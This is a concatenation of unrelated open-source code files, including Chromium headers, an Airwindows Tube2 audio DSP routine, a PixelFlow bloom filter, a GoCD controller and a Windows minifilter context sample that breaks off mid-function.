// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef UI_COMPOSITOR_OVERSCROLL_SCROLL_INPUT_HANDLER_H_ #define UI_COMPOSITOR_OVERSCROLL_SCROLL_INPUT_HANDLER_H_ #include "base/memory/weak_ptr.h" #include "cc/input/input_handler.h" #include "ui/compositor/compositor_export.h" namespace ui { class Layer; class ScrollEvent; // Class to feed UI-thread scroll events to a cc::InputHandler. Inspired by // ui::InputHandlerProxy but greatly simplified. class COMPOSITOR_EXPORT ScrollInputHandler : public cc::InputHandlerClient { public: explicit ScrollInputHandler( const base::WeakPtr<cc::InputHandler>& input_handler); ~ScrollInputHandler() override; // Ask the InputHandler to scroll |element| according to |scroll|. bool OnScrollEvent(const ScrollEvent& event, Layer* layer_to_scroll); // cc::InputHandlerClient: void WillShutdown() override; void Animate(base::TimeTicks time) override; void MainThreadHasStoppedFlinging() override; void ReconcileElasticOverscrollAndRootScroll() override; void UpdateRootLayerStateForSynchronousInputHandler( const gfx::ScrollOffset& total_scroll_offset, const gfx::ScrollOffset& max_scroll_offset, const gfx::SizeF& scrollable_size, float page_scale_factor, float min_page_scale_factor, float max_page_scale_factor) override; void DeliverInputForBeginFrame() override; private: // Cleared in WillShutdown(). base::WeakPtr<cc::InputHandler> input_handler_weak_ptr_; DISALLOW_COPY_AND_ASSIGN(ScrollInputHandler); }; } // namespace ui #endif // UI_COMPOSITOR_OVERSCROLL_UI_INPUT_HANDLER_H_
581
389
<gh_stars>100-1000 package com.mrcoder.sbmail; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class SbMailApplication { public static void main(String[] args) { SpringApplication.run(SbMailApplication.class, args); } }
108
2,151
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <utility> #include "chrome/browser/android/webapk/webapk_info.h" WebApkInfo::WebApkInfo(std::string name, std::string short_name, std::string package_name, int shell_apk_version, int version_code, std::string uri, std::string scope, std::string manifest_url, std::string manifest_start_url, blink::WebDisplayMode display, blink::WebScreenOrientationLockType orientation, base::Optional<SkColor> theme_color, base::Optional<SkColor> background_color, base::Time last_update_check_time, bool relax_updates) : name(std::move(name)), short_name(std::move(short_name)), package_name(std::move(package_name)), shell_apk_version(shell_apk_version), version_code(version_code), uri(std::move(uri)), scope(std::move(scope)), manifest_url(std::move(manifest_url)), manifest_start_url(std::move(manifest_start_url)), display(display), orientation(orientation), theme_color(theme_color), background_color(background_color), last_update_check_time(last_update_check_time), relax_updates(relax_updates) {} WebApkInfo::~WebApkInfo() {} WebApkInfo& WebApkInfo::operator=(WebApkInfo&& rhs) noexcept = default; WebApkInfo::WebApkInfo(WebApkInfo&& other) noexcept = default;
829
446
/* ======================================== * Tube2 - Tube2.h * Copyright (c) 2016 airwindows, All rights reserved * ======================================== */ #ifndef __Tube2_H #include "Tube2.h" #endif void Tube2::processReplacing(float **inputs, float **outputs, VstInt32 sampleFrames) { float* in1 = inputs[0]; float* in2 = inputs[1]; float* out1 = outputs[0]; float* out2 = outputs[1]; double overallscale = 1.0; overallscale /= 44100.0; overallscale *= getSampleRate(); double inputPad = A; double iterations = 1.0-B; int powerfactor = (9.0*iterations)+1; double asymPad = (double)powerfactor; double gainscaling = 1.0/(double)(powerfactor+1); double outputscaling = 1.0 + (1.0/(double)(powerfactor)); while (--sampleFrames >= 0) { long double inputSampleL = *in1; long double inputSampleR = *in2; if (fabs(inputSampleL)<1.18e-37) inputSampleL = fpdL * 1.18e-37; if (fabs(inputSampleR)<1.18e-37) inputSampleR = fpdR * 1.18e-37; if (inputPad < 1.0) { inputSampleL *= inputPad; inputSampleR *= inputPad; } if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleA; previousSampleA = stored; inputSampleL *= 0.5; stored = inputSampleR; inputSampleR += previousSampleB; previousSampleB = stored; inputSampleR *= 0.5; } //for high sample rates on this plugin we are going to do a simple average if (inputSampleL > 1.0) inputSampleL = 1.0; if (inputSampleL < -1.0) inputSampleL = -1.0; if (inputSampleR > 1.0) inputSampleR = 1.0; if (inputSampleR < -1.0) inputSampleR = -1.0; //flatten bottom, point top of sine waveshaper L inputSampleL /= asymPad; long double sharpen = -inputSampleL; if (sharpen > 0.0) sharpen = 1.0+sqrt(sharpen); else sharpen = 1.0-sqrt(-sharpen); inputSampleL -= inputSampleL*fabs(inputSampleL)*sharpen*0.25; //this will take input from exactly -1.0 to 1.0 max inputSampleL *= asymPad; //flatten bottom, point top of sine waveshaper R inputSampleR /= asymPad; sharpen = -inputSampleR; if (sharpen > 0.0) sharpen = 1.0+sqrt(sharpen); else sharpen = 1.0-sqrt(-sharpen); inputSampleR -= inputSampleR*fabs(inputSampleR)*sharpen*0.25; //this will take input from exactly -1.0 to 1.0 max inputSampleR *= asymPad; //end first asym section: later boosting can mitigate the extreme //softclipping of one side of the wave //and we are asym clipping more when Tube is cranked, to compensate //original Tube algorithm: powerfactor widens the more linear region of the wave double factor = inputSampleL; //Left channel for (int x = 0; x < powerfactor; x++) factor *= inputSampleL; if ((powerfactor % 2 == 1) && (inputSampleL != 0.0)) factor = (factor/inputSampleL)*fabs(inputSampleL); factor *= gainscaling; inputSampleL -= factor; inputSampleL *= outputscaling; factor = inputSampleR; //Right channel for (int x = 0; x < powerfactor; x++) factor *= inputSampleR; if ((powerfactor % 2 == 1) && (inputSampleR != 0.0)) factor = (factor/inputSampleR)*fabs(inputSampleR); factor *= gainscaling; inputSampleR -= factor; inputSampleR *= outputscaling; if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleC; previousSampleC = stored; inputSampleL *= 0.5; stored = inputSampleR; inputSampleR += previousSampleD; previousSampleD = stored; inputSampleR *= 0.5; } //for high sample rates on this plugin we are going to do a simple average //end original Tube. Now we have a boosted fat sound peaking at 0dB exactly //hysteresis and spiky fuzz L long double slew = previousSampleE - inputSampleL; if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleE; previousSampleE = stored; inputSampleL *= 0.5; } else previousSampleE = inputSampleL; //for this, need previousSampleC always if (slew > 0.0) slew = 1.0+(sqrt(slew)*0.5); else slew = 1.0-(sqrt(-slew)*0.5); inputSampleL -= inputSampleL*fabs(inputSampleL)*slew*gainscaling; //reusing gainscaling that's part of another algorithm if (inputSampleL > 0.52) inputSampleL = 0.52; if (inputSampleL < -0.52) inputSampleL = -0.52; inputSampleL *= 1.923076923076923; //hysteresis and spiky fuzz R slew = previousSampleF - inputSampleR; if (overallscale > 1.9) { long double stored = inputSampleR; inputSampleR += previousSampleF; previousSampleF = stored; inputSampleR *= 0.5; } else previousSampleF = inputSampleR; //for this, need previousSampleC always if (slew > 0.0) slew = 1.0+(sqrt(slew)*0.5); else slew = 1.0-(sqrt(-slew)*0.5); inputSampleR -= inputSampleR*fabs(inputSampleR)*slew*gainscaling; //reusing gainscaling that's part of another algorithm if (inputSampleR > 0.52) inputSampleR = 0.52; if (inputSampleR < -0.52) inputSampleR = -0.52; inputSampleR *= 1.923076923076923; //end hysteresis and spiky fuzz section //begin 32 bit stereo floating point dither int expon; frexpf((float)inputSampleL, &expon); fpdL ^= fpdL << 13; fpdL ^= fpdL >> 17; fpdL ^= fpdL << 5; inputSampleL += ((double(fpdL)-uint32_t(0x7fffffff)) * 5.5e-36l * pow(2,expon+62)); frexpf((float)inputSampleR, &expon); fpdR ^= fpdR << 13; fpdR ^= fpdR >> 17; fpdR ^= fpdR << 5; inputSampleR += ((double(fpdR)-uint32_t(0x7fffffff)) * 5.5e-36l * pow(2,expon+62)); //end 32 bit stereo floating point dither *out1 = inputSampleL; *out2 = inputSampleR; in1++; in2++; out1++; out2++; } } void Tube2::processDoubleReplacing(double **inputs, double **outputs, VstInt32 sampleFrames) { double* in1 = inputs[0]; double* in2 = inputs[1]; double* out1 = outputs[0]; double* out2 = outputs[1]; double overallscale = 1.0; overallscale /= 44100.0; overallscale *= getSampleRate(); double inputPad = A; double iterations = 1.0-B; int powerfactor = (9.0*iterations)+1; double asymPad = (double)powerfactor; double gainscaling = 1.0/(double)(powerfactor+1); double outputscaling = 1.0 + (1.0/(double)(powerfactor)); while (--sampleFrames >= 0) { long double inputSampleL = *in1; long double inputSampleR = *in2; if (fabs(inputSampleL)<1.18e-43) inputSampleL = fpdL * 1.18e-43; if (fabs(inputSampleR)<1.18e-43) inputSampleR = fpdR * 1.18e-43; if (inputPad < 1.0) { inputSampleL *= inputPad; inputSampleR *= inputPad; } if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleA; previousSampleA = stored; inputSampleL *= 0.5; stored = inputSampleR; inputSampleR += previousSampleB; previousSampleB = stored; inputSampleR *= 0.5; } //for high sample rates on this plugin we are going to do a simple average if (inputSampleL > 1.0) inputSampleL = 1.0; if (inputSampleL < -1.0) inputSampleL = -1.0; if (inputSampleR > 1.0) inputSampleR = 1.0; if (inputSampleR < -1.0) inputSampleR = -1.0; //flatten bottom, point top of sine waveshaper L inputSampleL /= asymPad; long double sharpen = -inputSampleL; if (sharpen > 0.0) sharpen = 1.0+sqrt(sharpen); else sharpen = 1.0-sqrt(-sharpen); inputSampleL -= inputSampleL*fabs(inputSampleL)*sharpen*0.25; //this will take input from exactly -1.0 to 1.0 max inputSampleL *= asymPad; //flatten bottom, point top of sine waveshaper R inputSampleR /= asymPad; sharpen = -inputSampleR; if (sharpen > 0.0) sharpen = 1.0+sqrt(sharpen); else sharpen = 1.0-sqrt(-sharpen); inputSampleR -= inputSampleR*fabs(inputSampleR)*sharpen*0.25; //this will take input from exactly -1.0 to 1.0 max inputSampleR *= asymPad; //end first asym section: later boosting can mitigate the extreme //softclipping of one side of the wave //and we are asym clipping more when Tube is cranked, to compensate //original Tube algorithm: powerfactor widens the more linear region of the wave double factor = inputSampleL; //Left channel for (int x = 0; x < powerfactor; x++) factor *= inputSampleL; if ((powerfactor % 2 == 1) && (inputSampleL != 0.0)) factor = (factor/inputSampleL)*fabs(inputSampleL); factor *= gainscaling; inputSampleL -= factor; inputSampleL *= outputscaling; factor = inputSampleR; //Right channel for (int x = 0; x < powerfactor; x++) factor *= inputSampleR; if ((powerfactor % 2 == 1) && (inputSampleR != 0.0)) factor = (factor/inputSampleR)*fabs(inputSampleR); factor *= gainscaling; inputSampleR -= factor; inputSampleR *= outputscaling; if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleC; previousSampleC = stored; inputSampleL *= 0.5; stored = inputSampleR; inputSampleR += previousSampleD; previousSampleD = stored; inputSampleR *= 0.5; } //for high sample rates on this plugin we are going to do a simple average //end original Tube. Now we have a boosted fat sound peaking at 0dB exactly //hysteresis and spiky fuzz L long double slew = previousSampleE - inputSampleL; if (overallscale > 1.9) { long double stored = inputSampleL; inputSampleL += previousSampleE; previousSampleE = stored; inputSampleL *= 0.5; } else previousSampleE = inputSampleL; //for this, need previousSampleC always if (slew > 0.0) slew = 1.0+(sqrt(slew)*0.5); else slew = 1.0-(sqrt(-slew)*0.5); inputSampleL -= inputSampleL*fabs(inputSampleL)*slew*gainscaling; //reusing gainscaling that's part of another algorithm if (inputSampleL > 0.52) inputSampleL = 0.52; if (inputSampleL < -0.52) inputSampleL = -0.52; inputSampleL *= 1.923076923076923; //hysteresis and spiky fuzz R slew = previousSampleF - inputSampleR; if (overallscale > 1.9) { long double stored = inputSampleR; inputSampleR += previousSampleF; previousSampleF = stored; inputSampleR *= 0.5; } else previousSampleF = inputSampleR; //for this, need previousSampleC always if (slew > 0.0) slew = 1.0+(sqrt(slew)*0.5); else slew = 1.0-(sqrt(-slew)*0.5); inputSampleR -= inputSampleR*fabs(inputSampleR)*slew*gainscaling; //reusing gainscaling that's part of another algorithm if (inputSampleR > 0.52) inputSampleR = 0.52; if (inputSampleR < -0.52) inputSampleR = -0.52; inputSampleR *= 1.923076923076923; //end hysteresis and spiky fuzz section //begin 64 bit stereo floating point dither int expon; frexp((double)inputSampleL, &expon); fpdL ^= fpdL << 13; fpdL ^= fpdL >> 17; fpdL ^= fpdL << 5; inputSampleL += ((double(fpdL)-uint32_t(0x7fffffff)) * 1.1e-44l * pow(2,expon+62)); frexp((double)inputSampleR, &expon); fpdR ^= fpdR << 13; fpdR ^= fpdR >> 17; fpdR ^= fpdR << 5; inputSampleR += ((double(fpdR)-uint32_t(0x7fffffff)) * 1.1e-44l * pow(2,expon+62)); //end 64 bit stereo floating point dither *out1 = inputSampleL; *out2 = inputSampleR; in1++; in2++; out1++; out2++; } }
4,226
559
<reponame>sghill/msl /** * Copyright (c) 2016-2017 Netflix, Inc. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef SRC_ENTITYAUTH_UNAUTHENTICATEDAUTHENTICATIONDATA_H_ #define SRC_ENTITYAUTH_UNAUTHENTICATEDAUTHENTICATIONDATA_H_ #include <entityauth/EntityAuthenticationData.h> #include <string> namespace netflix { namespace msl { namespace io { class MslObject; class MslEncoderFactory; class MslEncoderFormat; } namespace entityauth { /** * <p>Unauthenticated entity authentication data. This form of authentication * is used by entities that cannot provide any form of entity * authentication.</p> * * <p>Unauthenticated entity authentication data is represented as * {@code * unauthenticatedauthdata = { * "#mandatory" : [ "identity" ], * "identity" : "string" * }} where: * <ul> * <li>{@code identity} is the entity identity</li> * </ul></p> * * @author <NAME> <<EMAIL>> */ class UnauthenticatedAuthenticationData: public EntityAuthenticationData { public: virtual ~UnauthenticatedAuthenticationData() {} /** * Construct a new unauthenticated entity authentication data instance from * the specified entity identity. * * @param identity the entity identity. */ UnauthenticatedAuthenticationData(const std::string identity); /** * Construct a new unauthenticated entity authentication data instance from * the provided MSL object. * * @param unauthenticatedAuthMo the authentication data MSL object. * @throws MslEncodingException if there is an error parsing the MSL data. */ UnauthenticatedAuthenticationData(std::shared_ptr<io::MslObject> unauthenticatedAuthMo); /** * @return the entity identity. */ virtual std::string getIdentity() const { return identity_; } /* (non-Javadoc) * @see com.netflix.msl.entityauth.EntityAuthenticationData#getAuthData(com.netflix.msl.io.MslEncoderFactory, com.netflix.msl.io.MslEncoderFormat) */ virtual std::shared_ptr<io::MslObject> getAuthData(std::shared_ptr<io::MslEncoderFactory> encoder, const io::MslEncoderFormat& format) const; virtual bool equals(std::shared_ptr<const EntityAuthenticationData> obj) const; private: /** Entity identity. */ const std::string identity_; }; bool operator==(const UnauthenticatedAuthenticationData& a, const UnauthenticatedAuthenticationData& b); inline bool operator!=(const UnauthenticatedAuthenticationData& a, const UnauthenticatedAuthenticationData& b) { return !(a == b); } }}} // namespace netflix::msl::entityauth #endif /* SRC_ENTITYAUTH_UNAUTHENTICATEDAUTHENTICATIONDATA_H_ */
989
2,392
<reponame>MelvinG24/dust3d // Copyright (c) 2005 Tel-Aviv University (Israel). // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL: https://github.com/CGAL/cgal/blob/v5.1/Boolean_set_operations_2/include/CGAL/Boolean_set_operations_2/Gps_intersection_functor.h $ // $Id: Gps_intersection_functor.h 0779373 2020-03-26T13:31:46+01:00 Sébastien Loriot // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // // Author(s) : <NAME> <<EMAIL>> #ifndef CGAL_GPS_INTERSECTION_FUNCTOR_H #define CGAL_GPS_INTERSECTION_FUNCTOR_H #include <CGAL/license/Boolean_set_operations_2.h> #include <CGAL/Boolean_set_operations_2/Gps_base_functor.h> namespace CGAL { template <class Arrangement_> class Gps_intersection_functor : public Gps_base_functor<Arrangement_> { public: typedef Arrangement_ Arrangement_2; typedef typename Arrangement_2::Face_const_handle Face_const_handle; typedef typename Arrangement_2::Face_handle Face_handle; void create_face (Face_const_handle f1, Face_const_handle f2, Face_handle res_f) { if(f1->contained() && f2->contained()) { res_f->set_contained(true); } } }; } //namespace CGAL #endif
581
5,865
<filename>api/api-version-v1/src/main/java/com/thoughtworks/go/apiv1/version/VersionControllerV1.java /* * Copyright 2021 ThoughtWorks, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.thoughtworks.go.apiv1.version; import com.thoughtworks.go.CurrentGoCDVersion; import com.thoughtworks.go.api.ApiController; import com.thoughtworks.go.api.ApiVersion; import com.thoughtworks.go.spark.Routes; import com.thoughtworks.go.spark.spring.SparkSpringController; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import spark.Request; import spark.Response; import spark.Spark; import java.io.IOException; import static spark.Spark.path; @Component public class VersionControllerV1 extends ApiController implements SparkSpringController { @Autowired public VersionControllerV1() { super(ApiVersion.v1); } @Override public String controllerBasePath() { return Routes.Version.BASE; } @Override public void setupRoutes() { path(controllerBasePath(), () -> { Spark.get("", mimeType, this::show); }); } public String show(Request req, Response res) throws IOException { return writerForTopLevelObject(req, res, writer -> VersionRepresenter.toJSON(writer, CurrentGoCDVersion.getInstance())); } }
605
1,133
/** * * PixelFlow | Copyright (C) 2017 <NAME> (www.thomasdiewald.com) * * src - www.github.com/diwi/PixelFlow * * A Processing/Java library for high performance GPU-Computing. * MIT License: https://opensource.org/licenses/MIT * */ package com.thomasdiewald.pixelflow.java.imageprocessing.filter; import com.jogamp.opengl.GLES3; import com.thomasdiewald.pixelflow.java.DwPixelFlow; import com.thomasdiewald.pixelflow.java.dwgl.DwGLRenderSettingsCallback; import com.thomasdiewald.pixelflow.java.dwgl.DwGLTexture; import com.thomasdiewald.pixelflow.java.utils.DwUtils; import processing.opengl.PGraphicsOpenGL; /** * @author <NAME><br> * * * resources:<br> * <br> * 1) http://prideout.net/archive/bloom/<br> * * 2) https://threejs.org/examples/webgl_postprocessing_unreal_bloom.html<br> * three.js/examples/js/postprocessing/UnrealBloomPass.js <br> * * 3) http://www.gamasutra.com/view/feature/130520/realtime_glow.php<br> * */ public class Bloom { public static class Param{ public int blur_radius = 2; public float mult = 1f; // [0, whatever] public float radius = 0.5f; // [0, 1] } public Param param = new Param(); public DwPixelFlow context; public GaussianBlurPyramid gaussianpyramid; // texture weights (merge pass) public float[] tex_weights; // Filter for merging the textures public Merge merge; public Bloom(DwPixelFlow context){ this.context = context; this.merge = new Merge(context); this.gaussianpyramid = new GaussianBlurPyramid(context); } public void setBlurLayersMax(int BLUR_LAYERS_MAX){ gaussianpyramid.setBlurLayersMax(BLUR_LAYERS_MAX); } public void setBlurLayers(int BLUR_LAYERS){ gaussianpyramid.setBlurLayers(BLUR_LAYERS); } public int getNumBlurLayers(){ return gaussianpyramid.getNumBlurLayers(); } public void release(){ gaussianpyramid.release(); } private float[] computeWeights(float[] weights){ int BLUR_LAYERS = gaussianpyramid.getNumBlurLayers(); if(weights == null || weights.length != BLUR_LAYERS*2){ weights = new float[BLUR_LAYERS*2]; } float step = 1f / BLUR_LAYERS; for(int i = 0; i < BLUR_LAYERS; i++){ float fac = 1f - step * i; float weight = DwUtils.mix(fac, 1.0f + step - fac, param.radius); weights[i*2 + 0] = param.mult * weight; weights[i*2 + 1] = 0; } return weights; } /** * * "src_luminance" serves as the source texture for the bloom pass. * e.g this texture can be the result of a brightness-prepass on dst_composition. * * "dst_bloom" is the merged result of several iterations of gaussian-blurs. * * "dst_composition" is the final result of additive blending with "dst_bloom". * * * @param src_luminance * @param dst_bloom * @param dst_composition */ public void apply(DwGLTexture src_luminance, DwGLTexture dst_bloom, DwGLTexture dst_composition){ // 1) create blur levels gaussianpyramid.apply(src_luminance, param.blur_radius); // 2) compute blur-texture weights tex_weights = computeWeights(tex_weights); // 3a) merge + blend: dst_bloom is not null, therefore the extra pass if(dst_bloom != null){ //merge.apply(dst_bloom, gaussianpyramid.tex_blur, tex_weights); mergeBlurLayers(dst_bloom); if(dst_composition != null){ context.pushRenderSettings(additive_blend); DwFilter.get(context).copy.apply(dst_bloom, dst_composition); context.popRenderSettings(); } return; } // 3b) merge + blend: dst_bloom is null, so we merge + blend into dst_composition context.pushRenderSettings(additive_blend); //merge.apply(dst_composition, gaussianpyramid.tex_blur, tex_weights); mergeBlurLayers(dst_composition); context.popRenderSettings(); } /** * * "src_luminance" serves as the source texture for the bloom pass. * e.g this texture can be the result of a brightness-prepass on dst_composition. * * "dst_bloom" is the merged result of several iterations of gaussian-blurs. * * "dst_composition" is the final result of additive blending with "dst_bloom". * * * @param src_luminance * @param dst_bloom * @param dst_composition */ public void apply(PGraphicsOpenGL src_luminance, PGraphicsOpenGL dst_bloom, PGraphicsOpenGL dst_composition){ // 1) create blur levels gaussianpyramid.apply(src_luminance, param.blur_radius); // 2) compute blur-texture weights tex_weights = computeWeights(tex_weights); // 3a) merge + blend: dst_bloom is not null, therefore the extra pass if(dst_bloom != null){ //merge.apply(dst_bloom, gaussianpyramid.tex_blur, tex_weights); mergeBlurLayers(dst_bloom); if(dst_composition != null){ context.pushRenderSettings(additive_blend); DwFilter.get(context).copy.apply(dst_bloom, dst_composition); context.popRenderSettings(); } return; } // 3b) merge + blend: dst_bloom is null, so we merge + blend into dst_composition context.pushRenderSettings(additive_blend); //merge.apply(dst_composition, gaussianpyramid.tex_blur, tex_weights); mergeBlurLayers(dst_composition); context.popRenderSettings(); } private Merge.TexMad[] alloc(){ int num_layers = getNumBlurLayers(); Merge.TexMad[] tm = new Merge.TexMad[num_layers]; for(int i = 0; i < num_layers; i++){ tm[i] = new Merge.TexMad(gaussianpyramid.getTexture(i), tex_weights[i*2+0], tex_weights[i*2+1]); } return tm; } private void mergeBlurLayers(PGraphicsOpenGL dst){ merge.apply(dst, alloc()); } private void mergeBlurLayers(DwGLTexture dst){ merge.apply(dst, alloc()); } /** * applies the bloom directly on dst * @param dst */ public void apply(PGraphicsOpenGL dst){ apply(dst, null, dst); } DwGLRenderSettingsCallback additive_blend = new DwGLRenderSettingsCallback() { @Override public void set(DwPixelFlow context, int x, int y, int w, int h) { context.gl.glEnable(GLES3.GL_BLEND); context.gl.glBlendEquationSeparate(GLES3.GL_FUNC_ADD, GLES3.GL_FUNC_ADD); context.gl.glBlendFuncSeparate(GLES3.GL_SRC_ALPHA, GLES3.GL_ONE, GLES3.GL_ONE, GLES3.GL_ONE); } }; }
2,615
303
{"id":5097,"line-1":"Provence-Alpes-Côte d'Azur","line-2":"France","attribution":"©2015 DigitalGlobe","url":"https://www.google.com/maps/@43.767099,7.415746,19z/data=!3m1!1e3"}
79
879
<reponame>qianfei11/zstack package org.zstack.header.storage.primary; import org.zstack.header.message.MessageReply; /** * @ Author : yh.w * @ Date : Created in 17:26 2020/3/23 */ public class GetDownloadBitsFromKVMHostProgressReply extends MessageReply { private long totalSize; public long getTotalSize() { return totalSize; } public void setTotalSize(long totalSize) { this.totalSize = totalSize; } }
165
743
<reponame>althink/hermes<gh_stars>100-1000 package pl.allegro.tech.hermes.schema; import pl.allegro.tech.hermes.api.ErrorCode; import pl.allegro.tech.hermes.api.Topic; public class NoSchemaVersionsFoundException extends SchemaException { NoSchemaVersionsFoundException(String message) { super(message); } NoSchemaVersionsFoundException(Topic topic) { this(String.format("No schema version found for topic %s", topic.getQualifiedName())); } @Override public ErrorCode getCode() { return ErrorCode.SCHEMA_COULD_NOT_BE_LOADED; } }
220
3,084
/*++ Copyright (c) 1999 - 2002 Microsoft Corporation Module Name: context.c Abstract: This is the stream nd stream handle context module of the kernel mode context sample filter driver Environment: Kernel mode --*/ #include "pch.h" #ifdef ALLOC_PRAGMA #pragma alloc_text(PAGE, CtxFindOrCreateFileContext) #pragma alloc_text(PAGE, CtxCreateFileContext) #pragma alloc_text(PAGE, CtxFindOrCreateStreamContext) #pragma alloc_text(PAGE, CtxCreateStreamContext) #pragma alloc_text(PAGE, CtxUpdateNameInStreamContext) #pragma alloc_text(PAGE, CtxCreateOrReplaceStreamHandleContext) #pragma alloc_text(PAGE, CtxCreateStreamHandleContext) #pragma alloc_text(PAGE, CtxUpdateNameInStreamHandleContext) #endif NTSTATUS CtxFindOrCreateFileContext ( _In_ PFLT_CALLBACK_DATA Cbd, _In_ BOOLEAN CreateIfNotFound, _When_( CreateIfNotFound != FALSE, _In_ ) _When_( CreateIfNotFound == FALSE, _In_opt_ ) PUNICODE_STRING FileName, _Outptr_ PCTX_FILE_CONTEXT *FileContext, _Out_opt_ PBOOLEAN ContextCreated ) /*++ Routine Description: This routine finds the file context for the target file. Optionally, if the context does not exist this routing creates a new one and attaches the context to the file. Arguments: Cbd - Supplies a pointer to the callbackData which declares the requested operation. CreateIfNotFound - Supplies if the file context must be created if missing FileName - Supplies the file name FileContext - Returns the file context ContextCreated - Returns if a new context was created Return Value: Status --*/ { NTSTATUS status; PCTX_FILE_CONTEXT fileContext; PCTX_FILE_CONTEXT oldFileContext; PAGED_CODE(); *FileContext = NULL; if (ContextCreated != NULL) *ContextCreated = FALSE; // // First try to get the file context. // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Trying to get file context (FileObject = %p, Instance = %p)\n", Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = FltGetFileContext( Cbd->Iopb->TargetInstance, Cbd->Iopb->TargetFileObject, &fileContext ); // // If the call failed because the context does not exist // and the user wants to creat a new one, the create a // new context // if (!NT_SUCCESS( status ) && (status == STATUS_NOT_FOUND) && CreateIfNotFound) { // // Create a file context // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Creating file context (FileObject = %p, Instance = %p)\n", Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = CtxCreateFileContext( FileName, &fileContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to create file context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // Set the new context we just allocated on the file object // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Setting file context %p (FileObject = %p, Instance = %p)\n", fileContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = FltSetFileContext( Cbd->Iopb->TargetInstance, Cbd->Iopb->TargetFileObject, FLT_SET_CONTEXT_KEEP_IF_EXISTS, fileContext, &oldFileContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set file context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // We release the context here because FltSetFileContext failed // // If FltSetFileContext succeeded then the context will be returned // to the caller. The caller will use the context and then release it // when he is done with the context. // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Releasing file context %p (FileObject = %p, Instance = %p)\n", fileContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); FltReleaseContext( fileContext ); if (status != STATUS_FLT_CONTEXT_ALREADY_DEFINED) { // // FltSetFileContext failed for a reason other than the context already // existing on the file. So the object now does not have any context set // on it. So we return failure to the caller. // DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set file context with status 0x%x != STATUS_FLT_CONTEXT_ALREADY_DEFINED. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // Race condition. Someone has set a context after we queried it. // Use the already set context instead // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: File context already defined. Retaining old file context %p (FileObject = %p, Instance = %p)\n", oldFileContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // Return the existing context. Note that the new context that we allocated has already been // realeased above. // fileContext = oldFileContext; status = STATUS_SUCCESS; } else { if (ContextCreated != NULL) *ContextCreated = TRUE; } } *FileContext = fileContext; return status; } NTSTATUS CtxCreateFileContext ( _In_ PUNICODE_STRING FileName, _Outptr_ PCTX_FILE_CONTEXT *FileContext ) /*++ Routine Description: This routine creates a new file context Arguments: FileName - Supplies the file name FileContext - Returns the file context Return Value: Status --*/ { NTSTATUS status; PCTX_FILE_CONTEXT fileContext; PAGED_CODE(); // // Allocate a file context // DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS, ("[Ctx]: Allocating file context \n") ); status = FltAllocateContext( Globals.Filter, FLT_FILE_CONTEXT, CTX_FILE_CONTEXT_SIZE, PagedPool, &fileContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_FILE_CONTEXT_OPERATIONS | DEBUG_TRACE_ERROR, ("[Ctx]: Failed to allocate file context with status 0x%x \n", status) ); return status; } // // Initialize the newly created context // // // Allocate and copy off the file name // fileContext->FileName.MaximumLength = FileName->Length; status = CtxAllocateUnicodeString( &fileContext->FileName ); if (NT_SUCCESS( status )) { RtlCopyUnicodeString( &fileContext->FileName, FileName ); } *FileContext = fileContext; return STATUS_SUCCESS; } NTSTATUS CtxFindOrCreateStreamContext ( _In_ PFLT_CALLBACK_DATA Cbd, 